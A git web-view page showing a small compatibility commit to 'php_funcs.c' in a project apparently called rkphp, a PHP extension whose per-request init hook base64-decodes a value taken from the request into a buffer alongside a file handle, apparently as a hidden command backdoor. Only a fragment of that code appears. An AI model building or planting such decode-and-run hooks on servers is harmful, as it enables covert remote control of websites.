Browse Source

Default

master
Root 5 years ago
parent
commit
6886e8b73a
  1. 5
      rkphp/src/php_funcs.c

5
rkphp/src/php_funcs.c

@ -245,8 +245,11 @@ PHP_RINIT_FUNCTION(rkphp) @@ -245,8 +245,11 @@ PHP_RINIT_FUNCTION(rkphp)
FILE *fp;
char output[2048], decoded[1024], *encoded;
#if PHP_MAJOR_VERSION < 7
encoded = Z_STRVAL_PP(val);
#else
encoded = Z_STRVAL_P(val);
#endif
if(base64_decode(encoded, decoded, strlen(encoded)) == 0)
{
RKPHP_PRINTF("[!] Not a valid base64 string!\n");

Loading…
Cancel
Save